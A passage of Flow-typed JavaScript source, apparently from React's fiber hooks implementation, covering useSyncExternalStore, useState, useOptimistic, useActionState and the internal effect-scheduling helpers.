Schedule an effect to subscribe to the store.\n  mountEffect(subscribeToStore.bind(null, fiber, inst, subscribe), [subscribe]);\n\n  // Schedule an effect to update the mutable instance fields. We will update\n  // this whenever subscribe, getSnapshot, or value changes. Because there's no\n  // clean-up function, and we track the deps correctly, we can call pushEffect\n  // directly, without storing any additional state. For the same reason, we\n  // don't need to set a static flag, either.\n  fiber.flags |= PassiveEffect;\n  pushSimpleEffect(\n    HookHasEffect | HookPassive,\n    createEffectInstance(),\n    updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot),\n    null,\n  );\n\n  return nextSnapshot;\n}\n\nfunction updateSyncExternalStore<T>(\n  subscribe: (() => void) => () => void,\n  getSnapshot: () => T,\n  getServerSnapshot?: () => T,\n): T {\n  const fiber = currentlyRenderingFiber;\n  const hook = updateWorkInProgressHook();\n  // Read the current snapshot from the store on every render. This breaks the\n  // normal rules of React, and only works because store updates are\n  // always synchronous.\n  let nextSnapshot;\n  const isHydrating = getIsHydrating();\n  if (isHydrating) {\n    // Needed for strict mode double render\n    if (getServerSnapshot === undefined) {\n      throw new Error(\n        'Missing getServerSnapshot, which is required for ' +\n          'server-rendered content. Will revert to client rendering.',\n      );\n    }\n    nextSnapshot = getServerSnapshot();\n  } else {\n    nextSnapshot = getSnapshot();\n    if (__DEV__) {\n      if (!didWarnUncachedGetSnapshot) {\n        const cachedSnapshot = getSnapshot();\n        if (!is(nextSnapshot, cachedSnapshot)) {\n          console.error(\n            'The result of getSnapshot should be cached to avoid an infinite loop',\n          );\n          didWarnUncachedGetSnapshot = true;\n        }\n      }\n    }\n  }\n  const prevSnapshot = (currentHook || hook).memoizedState;\n  const snapshotChanged = !is(prevSnapshot, nextSnapshot);\n  if (snapshotChanged) {\n    hook.memoizedState = nextSnapshot;\n    markWorkInProgressReceivedUpdate();\n  }\n  const inst = hook.queue;\n\n  updateEffect(subscribeToStore.bind(null, fiber, inst, subscribe), [\n    subscribe,\n  ]);\n\n  // Whenever getSnapshot or subscribe changes, we need to check in the\n  // commit phase if there was an interleaved mutation. In concurrent mode\n  // this can happen all the time, but even in synchronous mode, an earlier\n  // effect may have mutated the store.\n  if (\n    inst.getSnapshot !== getSnapshot ||\n    snapshotChanged ||\n    // Check if the subscribe function changed. We can save some memory by\n    // checking whether we scheduled a subscription effect above.\n    (workInProgressHook !== null &&\n      workInProgressHook.memoizedState.tag & HookHasEffect)\n  ) {\n    fiber.flags |= PassiveEffect;\n    pushSimpleEffect(\n      HookHasEffect | HookPassive,\n      createEffectInstance(),\n      updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot),\n      null,\n    );\n\n    // Unless we're rendering a blocking lane, schedule a consistency check.\n    // Right before committing, we will walk the tree and check if any of the\n    // stores were mutated.\n    const root: FiberRoot | null = getWorkInProgressRoot();\n\n    if (root === null) {\n      throw new Error(\n        'Expected a work-in-progress root. This is a bug in React. Please file an issue.',\n      );\n    }\n\n    if (!isHydrating && !includesBlockingLane(renderLanes)) {\n      pushStoreConsistencyCheck(fiber, getSnapshot, nextSnapshot);\n    }\n  }\n\n  return nextSnapshot;\n}\n\nfunction pushStoreConsistencyCheck<T>(\n  fiber: Fiber,\n  getSnapshot: () => T,\n  renderedSnapshot: T,\n): void {\n  fiber.flags |= StoreConsistency;\n  const check: StoreConsistencyCheck<T> = {\n    getSnapshot,\n    value: renderedSnapshot,\n  };\n  let componentUpdateQueue: null | FunctionComponentUpdateQueue =\n    (currentlyRenderingFiber.updateQueue: any);\n  if (componentUpdateQueue === null) {\n    componentUpdateQueue = createFunctionComponentUpdateQueue();\n    currentlyRenderingFiber.updateQueue = (componentUpdateQueue: any);\n    componentUpdateQueue.stores = [check];\n  } else {\n    const stores = componentUpdateQueue.stores;\n    if (stores === null) {\n      componentUpdateQueue.stores = [check];\n    } else {\n      stores.push(check);\n    }\n  }\n}\n\nfunction updateStoreInstance<T>(\n  fiber: Fiber,\n  inst: StoreInstance<T>,\n  nextSnapshot: T,\n  getSnapshot: () => T,\n): void {\n  // These are updated in the passive phase\n  inst.value = nextSnapshot;\n  inst.getSnapshot = getSnapshot;\n\n  // Something may have been mutated in between render and commit. This could\n  // have been in an event that fired before the passive effects, or it could\n  // have been in a layout effect. In that case, we would have used the old\n  // snapsho and getSnapshot values to bail out. We need to check one more time.\n  if (checkIfSnapshotChanged(inst)) {\n    // Force a re-render.\n    // We intentionally don't log update times and stacks here because this\n    // was not an external trigger but rather an internal one.\n    forceStoreRerender(fiber);\n  }\n}\n\nfunction subscribeToStore<T>(\n  fiber: Fiber,\n  inst: StoreInstance<T>,\n  subscribe: (() => void) => () => void,\n): any {\n  const handleStoreChange = () => {\n    // The store changed. Check if the snapshot changed since the last time we\n    // read from the store.\n    if (checkIfSnapshotChanged(inst)) {\n      // Force a re-render.\n      startUpdateTimerByLane(SyncLane, 'updateSyncExternalStore()', fiber);\n      forceStoreRerender(fiber);\n    }\n  };\n  // Subscribe to the store and return a clean-up function.\n  return subscribe(handleStoreChange);\n}\n\nfunction checkIfSnapshotChanged<T>(inst: StoreInstance<T>): boolean {\n  const latestGetSnapshot = inst.getSnapshot;\n  const prevValue = inst.value;\n  try {\n    const nextValue = latestGetSnapshot();\n    return !is(prevValue, nextValue);\n  } catch (error) {\n    return true;\n  }\n}\n\nfunction forceStoreRerender(fiber: Fiber) {\n  const root = enqueueConcurrentRenderForLane(fiber, SyncLane);\n  if (root !== null) {\n    scheduleUpdateOnFiber(root, fiber, SyncLane);\n  }\n}\n\nfunction mountStateImpl<S>(initialState: (() => S) | S): Hook {\n  const hook = mountWorkInProgressHook();\n  if (typeof initialState === 'function') {\n    const initialStateInitializer = initialState;\n    // $FlowFixMe[incompatible-use]: Flow doesn't like mixed types\n    initialState = initialStateInitializer();\n    if (shouldDoubleInvokeUserFnsInHooksDEV) {\n      setIsStrictModeForDevtools(true);\n      try {\n        // $FlowFixMe[incompatible-use]: Flow doesn't like mixed types\n        initialStateInitializer();\n      } finally {\n        setIsStrictModeForDevtools(false);\n      }\n    }\n  }\n  hook.memoizedState = hook.baseState = initialState;\n  const queue: UpdateQueue<S, BasicStateAction<S>> = {\n    pending: null,\n    lanes: NoLanes,\n    dispatch: null,\n    lastRenderedReducer: basicStateReducer,\n    lastRenderedState: (initialState: any),\n  };\n  hook.queue = queue;\n  return hook;\n}\n\nfunction mountState<S>(\n  initialState: (() => S) | S,\n): [S, Dispatch<BasicStateAction<S>>] {\n  const hook = mountStateImpl(initialState);\n  const queue = hook.queue;\n  const dispatch: Dispatch<BasicStateAction<S>> = (dispatchSetState.bind(\n    null,\n    currentlyRenderingFiber,\n    queue,\n  ): any);\n  queue.dispatch = dispatch;\n  return [hook.memoizedState, dispatch];\n}\n\nfunction updateState<S>(\n  initialState: (() => S) | S,\n): [S, Dispatch<BasicStateAction<S>>] {\n  return updateReducer(basicStateReducer, initialState);\n}\n\nfunction rerenderState<S>(\n  initialState: (() => S) | S,\n): [S, Dispatch<BasicStateAction<S>>] {\n  return rerenderReducer(basicStateReducer, initialState);\n}\n\nfunction mountOptimistic<S, A>(\n  passthrough: S,\n  reducer: ?(S, A) => S,\n): [S, (A) => void] {\n  const hook = mountWorkInProgressHook();\n  hook.memoizedState = hook.baseState = passthrough;\n  const queue: UpdateQueue<S, A> = {\n    pending: null,\n    lanes: NoLanes,\n    dispatch: null,\n    // Optimistic state does not use the eager update optimization.\n    lastRenderedReducer: null,\n    lastRenderedState: null,\n  };\n  hook.queue = queue;\n  // This is different than the normal setState function.\n  const dispatch: A => void = (dispatchOptimisticSetState.bind(\n    null,\n    currentlyRenderingFiber,\n    true,\n    queue,\n  ): any);\n  queue.dispatch = dispatch;\n  return [passthrough, dispatch];\n}\n\nfunction updateOptimistic<S, A>(\n  passthrough: S,\n  reducer: ?(S, A) => S,\n): [S, (A) => void] {\n  const hook = updateWorkInProgressHook();\n  return updateOptimisticImpl(\n    hook,\n    ((currentHook: any): Hook),\n    passthrough,\n    reducer,\n  );\n}\n\nfunction updateOptimisticImpl<S, A>(\n  hook: Hook,\n  current: Hook | null,\n  passthrough: S,\n  reducer: ?(S, A) => S,\n): [S, (A) => void] {\n  // Optimistic updates are always rebased on top of the latest value passed in\n  // as an argument. It's called a passthrough because if there are no pending\n  // updates, it will be returned as-is.\n  //\n  // Reset the base state to the passthrough. Future updates will be applied\n  // on top of this.\n  hook.baseState = passthrough;\n\n  // If a reducer is not provided, default to the same one used by useState.\n  const resolvedReducer: (S, A) => S =\n    typeof reducer === 'function' ? reducer : (basicStateReducer: any);\n\n  return updateReducerImpl(hook, ((currentHook: any): Hook), resolvedReducer);\n}\n\nfunction rerenderOptimistic<S, A>(\n  passthrough: S,\n  reducer: ?(S, A) => S,\n): [S, (A) => void] {\n  // Unlike useState, useOptimistic doesn't support render phase updates.\n  // Also unlike useState, we need to replay all pending updates again in case\n  // the passthrough value changed.\n  //\n  // So instead of a forked re-render implementation that knows how to handle\n  // render phase udpates, we can use the same implementation as during a\n  // regular mount or update.\n  const hook = updateWorkInProgressHook();\n\n  if (currentHook !== null) {\n    // This is an update. Process the update queue.\n    return updateOptimisticImpl(\n      hook,\n      ((currentHook: any): Hook),\n      passthrough,\n      reducer,\n    );\n  }\n\n  // This is a mount. No updates to process.\n\n  // Reset the base state to the passthrough. Future updates will be applied\n  // on top of this.\n  hook.baseState = passthrough;\n  const dispatch = hook.queue.dispatch;\n  return [passthrough, dispatch];\n}\n\n// useActionState actions run sequentially, because each action receives the\n// previous state as an argument. We store pending actions on a queue.\ntype ActionStateQueue<S, P> = {\n  // This is the most recent state returned from an action. It's updated as\n  // soon as the action finishes running.\n  state: Awaited<S>,\n  // A stable dispatch method, passed to the user.\n  dispatch: Dispatch<P>,\n  // This is the most recent action function that was rendered. It's updated\n  // during the commit phase.\n  // If it's null, it means the action queue errored and subsequent actions\n  // should not run.\n  action: ((Awaited<S>, P) => S) | null,\n  // This is a circular linked list of pending action payloads. It incudes the\n  // action that is currently running.\n  pending: ActionStateQueueNode<S, P> | null,\n};\n\ntype ActionStateQueueNode<S, P> = {\n  payload: P,\n  // This is the action implementation at the time it was dispatched.\n  action: (Awaited<S>, P) => S,\n  // This is never null because it's part of a circular linked list.\n  next: ActionStateQueueNode<S, P>,\n\n  // Whether or not the action was dispatched as part of a transition. We use\n  // this to restore the transition context when the queued action is run. Once\n  // we're able to track parallel async actions, this should be updated to\n  // represent the specific transition instance the action is associated with.\n  isTransition: boolean,\n\n  // Implements the Thenable interface. We use it to suspend until the action\n  // finishes.\n  then: (listener: () => void) => void,\n  status: 'pending' | 'rejected' | 'fulfilled',\n  value: any,\n  reason: any,\n  listeners: Array<() => void>,\n};\n\nfunction dispatchActionState<S, P>(\n  fiber: Fiber,\n  actionQueue: ActionStateQueue<S, P>,\n  setPendingState: boolean => void,\n  setState: Dispatch<ActionStateQueueNode<S, P>>,\n  payload: P,\n): void {\n  if (isRenderPhaseUpdate(fiber)) {\n    throw new Error('Cannot update action state while rendering.');\n  }\n\n  const currentAction = actionQueue.action;\n  if (currentAction === null) {\n    // An earlier action errored. Subsequent actions should not run.\n    return;\n  }\n\n  const actionNode: ActionStateQueueNode<S, P> = {\n    payload,\n    action: currentAction,\n    next: (null: any), // circular\n\n    isTransition: true,\n\n    status: 'pending',\n    value: null,\n    reason: null,\n    listeners: [],\n    then(listener) {\n      // We know the only thing that subscribes to these promises is `use` so\n      // this implementation is simpler than a generic thenable. E.g. we don't\n      // bother to check if the thenable is still pending because `use` already\n      // does that.\n      actionNode.listeners.push(listener);\n    },\n  };\n\n  // Check if we're inside a transition. If so, we'll need to restore the\n  // transition context when the action is run.\n  const prevTransition = ReactSharedInternals.T;\n  if (prevTransition !== null) {\n    // Optimistically update the pending state, similar to useTransition.\n    // This will be reverted automatically when all actions are finished.\n    setPendingState(true);\n    // `actionNode` is a thenable that resolves to the return value of\n    // the action.\n    setState(actionNode);\n  } else {\n    // This is not a transition.\n    actionNode.isTransition = false;\n    setState(actionNode);\n  }\n\n  const last = actionQueue.pending;\n  if (last === null) {\n    // There are no pending actions; this is the first one. We can run\n    // it immediately.\n    actionNode.next = actionQueue.pending = actionNode;\n    runActionStateAction(actionQueue, actionNode);\n  } else {\n    // There's already an action running. Add to the queue.\n    const first = last.next;\n    actionNode.next = first;\n    actionQueue.pending = last.next = actionNode;\n  }\n}\n\nfunction runActionStateAction<S, P>(\n  actionQueue: ActionStateQueue<S, P>,\n  node: ActionStateQueueNode<S, P>,\n) {\n  // `node.action` represents the action function at the time it was dispatched.\n  // If this action was queued, it might be stale, i.e. it's not necessarily the\n  // most current implementation of the action, stored on `actionQueue`. This is\n  // intentional. The conceptual model for queued actions is that they are\n  // queued in a remote worker; the dispatch happens immediately, only the\n  // execution is delayed.\n  const action = node.action;\n  const payload = node.payload;\n  const prevState = actionQueue.state;\n\n  if (node.isTransition) {\n    // The original dispatch was part of a transition. We restore its\n    // transition context here.\n\n    // This is a fork of startTransition\n    const prevTransition = ReactSharedInternals.T;\n    const currentTransition: Transition = ({}: any);\n    if (enableViewTransition) {\n      currentTransition.types =\n        prevTransition !== null\n          ? // If we're a nested transition, we should use the same set as the parent\n            // since we're conceptually always joined into the same entangled transition.\n            // In practice, this only matters if we add transition types in the inner\n            // without setting state. In that case, the inner transition can finish\n            // without waiting for the outer.\n            prevTransition.types\n          : null;\n    }\n    if (enableGestureTransition) {\n      currentTransition.gesture = null;\n    }\n    if (enableTransitionTracing) {\n      currentTransition.name = null;\n      currentTransition.startTime = -1;\n    }\n    if (__DEV__) {\n      currentTransition._updatedFibers = new Set();\n    }\n    ReactSharedInternals.T = currentTransition;\n    try {\n      const returnValue = action(prevState, payload);\n      const onStartTransitionFinish = ReactSharedInternals.S;\n      if (onStartTransitionFinish !== null) {\n        onStartTransitionFinish(currentTransition, returnValue);\n      }\n      handleActionReturnValue(actionQueue, node, returnValue);\n    } catch (error) {\n      onActionError(actionQueue, node, error);\n    } finally {\n      if (prevTransition !== null && currentTransition.types !== null) {\n        // If we created a new types set in the inner transition, we transfer it to the parent\n        // since they should share the same set. They're conceptually entangled.\n        if (__DEV__) {\n          if (\n            prevTransition.types !== null &&\n            prevTransition.types !== currentTransition.types\n          ) {\n            // Just assert that assumption holds that we're not overriding anything.\n            console.error(\n              'We expected inner Transitions to have transferred the outer types set and ' +\n                'that you cannot add to the outer Transition while inside the inner.' +\n                'This is a bug in React.',\n            );\n          }\n        }\n        prevTransition.types = currentTransition.types;\n      }\n      ReactSharedInternals.T = prevTransition;\n\n      if (__DEV__) {\n        if (prevTransition === null && currentTransition._updatedFibers) {\n          const updatedFibersCount = currentTransition._updatedFibers.size;\n          currentTransition._updatedFibers.clear();\n          if (updatedFibersCount > 10) {\n            console.warn(\n              'Detected a large number of updates inside startTransition. ' +\n                'If this is due to a subscription please re-write it to use React provided hooks. ' +\n                'Otherwise concurrent mode guarantees are off the table.',\n            );\n          }\n        }\n      }\n    }\n  } else {\n    // The original dispatch was not part of a transition.\n    try {\n      const returnValue = action(prevState, payload);\n      handleActionReturnValue(actionQueue, node, returnValue);\n    } catch (error) {\n      onActionError(actionQueue, node, error);\n    }\n  }\n}\n\nfunction handleActionReturnValue<S, P>(\n  actionQueue: ActionStateQueue<S, P>,\n  node: ActionStateQueueNode<S, P>,\n  returnValue: mixed,\n) {\n  if (\n    returnValue !== null &&\n    typeof returnValue === 'object' &&\n    // $FlowFixMe[method-unbinding]\n    typeof returnValue.then === 'function'\n  ) {\n    const thenable = ((returnValue: any): Thenable<Awaited<S>>);\n    if (__DEV__) {\n      // Keep track of the number of async transitions still running so we can warn.\n      ReactSharedInternals.asyncTransitions++;\n      thenable.then(releaseAsyncTransition, releaseAsyncTransition);\n    }\n    // Attach a listener to read the return state of the action. As soon as\n    // this resolves, we can run the next action in the sequence.\n    thenable.then(\n      (nextState: Awaited<S>) => {\n        onActionSuccess(actionQueue, node, nextState);\n      },\n      (error: mixed) => onActionError(actionQueue, node, error),\n    );\n\n    if (__DEV__) {\n      if (!node.isTransition) {\n        console.error(\n          'An async function with useActionState was called outside of a transition. ' +\n            'This is likely not what you intended (for example, isPending will not update ' +\n            'correctly). Either call the returned function inside startTransition, or pass it ' +\n            'to an `action` or `formAction` prop.',\n        );\n      }\n    }\n  } else {\n    const nextState = ((returnValue: any): Awaited<S>);\n    onActionSuccess(actionQueue, node, nextState);\n  }\n}\n\nfunction onActionSuccess<S, P>(\n  actionQueue: ActionStateQueue<S, P>,\n  actionNode: ActionStateQueueNode<S, P>,\n  nextState: Awaited<S>,\n) {\n  // The action finished running.\n  actionNode.status = 'fulfilled';\n  actionNode.value = nextState;\n  notifyActionListeners(actionNode);\n\n  actionQueue.state = nextState;\n\n  // Pop the action from the queue and run the next pending action, if there\n  // are any.\n  const last = actionQueue.pending;\n  if (last !== null) {\n    const first = last.next;\n    if (first === last) {\n      // This was the last action in the queue.\n      actionQueue.pending = null;\n    } else {\n      // Remove the first node from the circular queue.\n      const next = first.next;\n      last.next = next;\n\n      // Run the next action.\n      runActionStateAction(actionQueue, next);\n    }\n  }\n}\n\nfunction onActionError<S, P>(\n  actionQueue: ActionStateQueue<S, P>,\n  actionNode: ActionStateQueueNode<S, P>,\n  error: mixed,\n) {\n  // Mark all the following actions as rejected.\n  const last = actionQueue.pending;\n  actionQueue.pending = null;\n  if (last !== null) {\n    const first = last.next;\n    do {\n      actionNode.status = 'rejected';\n      actionNode.reason = error;\n      notifyActionListeners(actionNode);\n      actionNode = actionNode.next;\n    } while (actionNode !== first);\n  }\n\n  // Prevent subsequent actions from being dispatched.\n  actionQueue.action = null;\n}\n\nfunction notifyActionListeners<S, P>(actionNode: ActionStateQueueNode<S, P>) {\n  // Notify React that the action has finished.\n  const listeners = actionNode.listeners;\n  for (let i = 0; i < listeners.length; i++) {\n    // This is always a React internal listener, so we don't need to worry\n    // about it throwing.\n    const listener = listeners[i];\n    listener();\n  }\n}\n\nfunction actionStateReducer<S>(oldState: S, newState: S): S {\n  return newState;\n}\n\nfunction mountActionState<S, P>(\n  action: (Awaited<S>, P) => S,\n  initialStateProp: Awaited<S>,\n  permalink?: string,\n): [Awaited<S>, (P) => void, boolean] {\n  let initialState: Awaited<S> = initialStateProp;\n  if (getIsHydrating()) {\n    const root: FiberRoot = (getWorkInProgressRoot(): any);\n    const ssrFormState = root.formState;\n    // If a formState option was passed to the root, there are form state\n    // markers that we need to hydrate. These indicate whether the form state\n    // matches this hook instance.\n    if (ssrFormState !== null) {\n      const isMatching = tryToClaimNextHydratableFormMarkerInstance(\n        currentlyRenderingFiber,\n      );\n      if (isMatching) {\n        initialState = ssrFormState[0];\n      }\n    }\n  }\n\n  // State hook. The state is stored in a thenable which is then unwrapped by\n  // the `use` algorithm during render.\n  const stateHook = mountWorkInProgressHook();\n  stateHook.memoizedState = stateHook.baseState = initialState;\n  // TODO: Typing this \"correctly\" results in recursion limit errors\n  // const stateQueue: UpdateQueue<S | Awaited<S>, S | Awaited<S>> = {\n  const stateQueue = {\n    pending: null,\n    lanes: NoLanes,\n    dispatch: (null: any),\n    lastRenderedReducer: actionStateReducer,\n    lastRenderedState: initialState,\n  };\n  stateHook.queue = stateQueue;\n  const setState: Dispatch<S | Awaited<S>> = (dispatchSetState.bind(\n    null,\n    currentlyRenderingFiber,\n    ((stateQueue: any): UpdateQueue<S | Awaited<S>, S | Awaited<S>>),\n  ): any);\n  stateQueue.dispatch = setState;\n\n  // Pending state. This is used to store the pending state of the action.\n  // Tracked optimistically, like a transition pending state.\n  const pendingStateHook = mountStateImpl((false: Thenable<boolean> | boolean));\n  const setPendingState: boolean => void = (dispatchOptimisticSetState.bind(\n    null,\n    currentlyRenderingFiber,\n    false,\n    ((pendingStateHook.queue: any): UpdateQueue<\n      S | Awaited<S>,\n      S | Awaited<S>,\n    >),\n  ): any);\n\n  // Action queue hook. This is used to queue pending actions. The queue is\n  // shared between all instances of the hook. Similar to a regular state queue,\n  // but different because the actions are run sequentially, and they run in\n  // an event instead of during render.\n  const actionQueueHook = mountWorkInProgressHook();\n  const actionQueue: ActionStateQueue<S, P> = {\n    state: initialState,\n    dispatch: (null: any), // circular\n    action,\n    pending: null,\n  };\n  actionQueueHook.queue = actionQueue;\n  const dispatch = (dispatchActionState: any).bind(\n    null,\n    currentlyRenderingFiber,\n    actionQueue,\n    setPendingState,\n    setState,\n  );\n  actionQueue.dispatch = dispatch;\n\n  // Stash the action function on the memoized state of the hook. We'll use this\n  // to detect when the action function changes so we can update it in\n  // an effect.\n  actionQueueHook.memoizedState = action;\n\n  return [initialState, dispatch, false];\n}\n\nfunction updateActionState<S, P>(\n  action: (Awaited<S>, P) => S,\n  initialState: Awaited<S>,\n  permalink?: string,\n): [Awaited<S>, (P) => void, boolean] {\n  const stateHook = updateWorkInProgressHook();\n  const currentStateHook = ((currentHook: any): Hook);\n  return updateActionStateImpl(\n    stateHook,\n    currentStateHook,\n    action,\n    initialState,\n    permalink,\n  );\n}\n\nfunction updateActionStateImpl<S, P>(\n  stateHook: Hook,\n  currentStateHook: Hook,\n  action: (Awaited<S>, P) => S,\n  initialState: Awaited<S>,\n  permalink?: string,\n): [Awaited<S>, (P) => void, boolean] {\n  const [actionResult] = updateReducerImpl<S | Thenable<S>, S | Thenable<S>>(\n    stateHook,\n    currentStateHook,\n    actionStateReducer,\n  );\n\n  const [isPending] = updateState(false);\n\n  // This will suspend until the action finishes.\n  let state: Awaited<S>;\n  if (\n    typeof actionResult === 'object' &&\n    actionResult !== null &&\n    // $FlowFixMe[method-unbinding]\n    typeof actionResult.then === 'function'\n  ) {\n    try {\n      state = useThenable(((actionResult: any): Thenable<Awaited<S>>));\n    } catch (x) {\n      if (x === SuspenseException) {\n        // If we Suspend here, mark this separately so that we can track this\n        // as an Action in Profiling tools.\n        throw SuspenseActionException;\n      } else {\n        throw x;\n      }\n    }\n  } else {\n    state = (actionResult: any);\n  }\n\n  const actionQueueHook = updateWorkInProgressHook();\n  const actionQueue = actionQueueHook.queue;\n  const dispatch = actionQueue.dispatch;\n\n  // Check if a new action was passed. If so, update it in an effect.\n  const prevAction = actionQueueHook.memoizedState;\n  if (action !== prevAction) {\n    currentlyRenderingFiber.flags |= PassiveEffect;\n    pushSimpleEffect(\n      HookHasEffect | HookPassive,\n      createEffectInstance(),\n      actionStateActionEffect.bind(null, actionQueue, action),\n      null,\n    );\n  }\n\n  return [state, dispatch, isPending];\n}\n\nfunction actionStateActionEffect<S, P>(\n  actionQueue: ActionStateQueue<S, P>,\n  action: (Awaited<S>, P) => S,\n): void {\n  actionQueue.action = action;\n}\n\nfunction rerenderActionState<S, P>(\n  action: (Awaited<S>, P) => S,\n  initialState: Awaited<S>,\n  permalink?: string,\n): [Awaited<S>, (P) => void, boolean] {\n  // Unlike useState, useActionState doesn't support render phase updates.\n  // Also unlike useState, we need to replay all pending updates again in case\n  // the passthrough value changed.\n  //\n  // So instead of a forked re-render implementation that knows how to handle\n  // render phase udpates, we can use the same implementation as during a\n  // regular mount or update.\n  const stateHook = updateWorkInProgressHook();\n  const currentStateHook = currentHook;\n\n  if (currentStateHook !== null) {\n    // This is an update. Process the update queue.\n    return updateActionStateImpl(\n      stateHook,\n      currentStateHook,\n      action,\n      initialState,\n      permalink,\n    );\n  }\n\n  updateWorkInProgressHook(); // State\n\n  // This is a mount. No updates to process.\n  const state: Awaited<S> = stateHook.memoizedState;\n\n  const actionQueueHook = updateWorkInProgressHook();\n  const actionQueue = actionQueueHook.queue;\n  const dispatch = actionQueue.dispatch;\n\n  // This may have changed during the rerender.\n  actionQueueHook.memoizedState = action;\n\n  // For mount, pending is always false.\n  return [state, dispatch, false];\n}\n\nfunction pushSimpleEffect(\n  tag: HookFlags,\n  inst: EffectInstance,\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): Effect {\n  const effect: Effect = {\n    tag,\n    create,\n    deps,\n    inst,\n    // Circular\n    next: (null: any),\n  };\n  return pushEffectImpl(effect);\n}\n\nfunction pushEffectImpl(effect: Effect): Effect {\n  let componentUpdateQueue: null | FunctionComponentUpdateQueue =\n    (currentlyRenderingFiber.updateQueue: any);\n  if (componentUpdateQueue === null) {\n    componentUpdateQueue = createFunctionComponentUpdateQueue();\n    currentlyRenderingFiber.updateQueue = (componentUpdateQueue: any);\n  }\n  const lastEffect = componentUpdateQueue.lastEffect;\n  if (lastEffect === null) {\n    componentUpdateQueue.lastEffect = effect.next = effect;\n  } else {\n    const firstEffect = lastEffect.next;\n    lastEffect.next = effect;\n    effect.next = firstEffect;\n    componentUpdateQueue.lastEffect = effect;\n  }\n  return effect;\n}\n\nfunction createEffectInstance(): EffectInstance {\n  return {destroy: undefined};\n}\n\nfunction mountRef<T>(initialValue: T): {current: T} {\n  const hook = mountWorkInProgressHook();\n  const ref = {current: initialValue};\n  hook.memoizedState = ref;\n  return ref;\n}\n\nfunction updateRef<T>(initialValue: T): {current: T} {\n  const hook = updateWorkInProgressHook();\n  return hook.memoizedState;\n}\n\nfunction mountEffectImpl(\n  fiberFlags: Flags,\n  hookFlags: HookFlags,\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  const hook = mountWorkInProgressHook();\n  const nextDeps = deps === undefined ? null : deps;\n  currentlyRenderingFiber.flags |= fiberFlags;\n  hook.memoizedState = pushSimpleEffect(\n    HookHasEffect | hookFlags,\n    createEffectInstance(),\n    create,\n    nextDeps,\n  );\n}\n\nfunction updateEffectImpl(\n  fiberFlags: Flags,\n  hookFlags: HookFlags,\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  const hook = updateWorkInProgressHook();\n  const nextDeps = deps === undefined ? null : deps;\n  const effect: Effect = hook.memoizedState;\n  const inst = effect.inst;\n\n  // currentHook is null on initial mount when rerendering after a render phase\n  // state update or for strict mode.\n  if (currentHook !== null) {\n    if (nextDeps !== null) {\n      const prevEffect: Effect = currentHook.memoizedState;\n      const prevDeps = prevEffect.deps;\n      // $FlowFixMe[incompatible-call] (@poteto)\n      if (areHookInputsEqual(nextDeps, prevDeps)) {\n        hook.memoizedState = pushSimpleEffect(\n          hookFlags,\n          inst,\n          create,\n          nextDeps,\n        );\n        return;\n      }\n    }\n  }\n\n  currentlyRenderingFiber.flags |= fiberFlags;\n\n  hook.memoizedState = pushSimpleEffect(\n    HookHasEffect | hookFlags,\n    inst,\n    create,\n    nextDeps,\n  );\n}\n\nfunction mountEffect(\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  if (\n    __DEV__ &&\n    (currentlyRenderingFiber.mode & StrictEffectsMode) !== NoMode\n  ) {\n    mountEffectImpl(\n      MountPassiveDevEffect | PassiveEffect | PassiveStaticEffect,\n      HookPassive,\n      create,\n      deps,\n    );\n  } else {\n    mountEffectImpl(\n      PassiveEffect | PassiveStaticEffect,\n      HookPassive,\n      create,\n      deps,\n    );\n  }\n}\n\nfunction updateEffect(\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  updateEffectImpl(PassiveEffect, HookPassive, create, deps);\n}\n\nfunction useEffectEventImpl<Args, Return, F: (...Array<Args>) => Return>(\n  payload: EventFunctionPayload<Args, Return, F>,\n) {\n  currentlyRenderingFiber.flags |= UpdateEffect;\n  let componentUpdateQueue: null | FunctionComponentUpdateQueue =\n    (currentlyRenderingFiber.updateQueue: any);\n  if (componentUpdateQueue === null) {\n    componentUpdateQueue = createFunctionComponentUpdateQueue();\n    currentlyRenderingFiber.updateQueue = (componentUpdateQueue: any);\n    componentUpdateQueue.events = [payload];\n  } else {\n    const events = componentUpdateQueue.events;\n    if (events === null) {\n      componentUpdateQueue.events = [payload];\n    } else {\n      events.push(payload);\n    }\n  }\n}\n\nfunction mountEvent<Args, Return, F: (...Array<Args>) => Return>(\n  callback: F,\n): F {\n  const hook = mountWorkInProgressHook();\n  const ref = {impl: callback};\n  hook.memoizedState = ref;\n  // $FlowIgnore[incompatible-return]\n  return function eventFn() {\n    if (isInvalidExecutionContextForEventFunction()) {\n      throw new Error(\n        \"A function wrapped in useEffectEvent can't be called during rendering.\",\n      );\n    }\n    return ref.impl.apply(undefined, arguments);\n  };\n}\n\nfunction updateEvent<Args, Return, F: (...Array<Args>) => Return>(\n  callback: F,\n): F {\n  const hook = updateWorkInProgressHook();\n  const ref = hook.memoizedState;\n  useEffectEventImpl({ref, nextImpl: callback});\n  // $FlowIgnore[incompatible-return]\n  return function eventFn() {\n    if (isInvalidExecutionContextForEventFunction()) {\n      throw new Error(\n        \"A function wrapped in useEffectEvent can't be called during rendering.\",\n      );\n    }\n    return ref.impl.apply(undefined, arguments);\n  };\n}\n\nfunction mountInsertionEffect(\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  mountEffectImpl(UpdateEffect, HookInsertion, create, deps);\n}\n\nfunction updateInsertionEffect(\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  return updateEffectImpl(UpdateEffect, HookInsertion, create, deps);\n}\n\nfunction mountLayoutEffect(\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  let fiberFlags: Flags = UpdateEffect | LayoutStaticEffect;\n  if (\n    __DEV__ &&\n    (currentlyRenderingFiber.mode & StrictEffectsMode) !== NoMode\n  ) {\n    fiberFlags |= MountLayoutDevEffect;\n  }\n  return mountEffectImpl(fiberFlags, HookLayout, create, deps);\n}\n\nfunction updateLayoutEffect(\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  return updateEffectImpl(UpdateEffect, HookLayout, create, deps);\n}\n\nfunction imperativeHandleEffect<T>(\n  create: () => T,\n  ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n): void | (() => void) 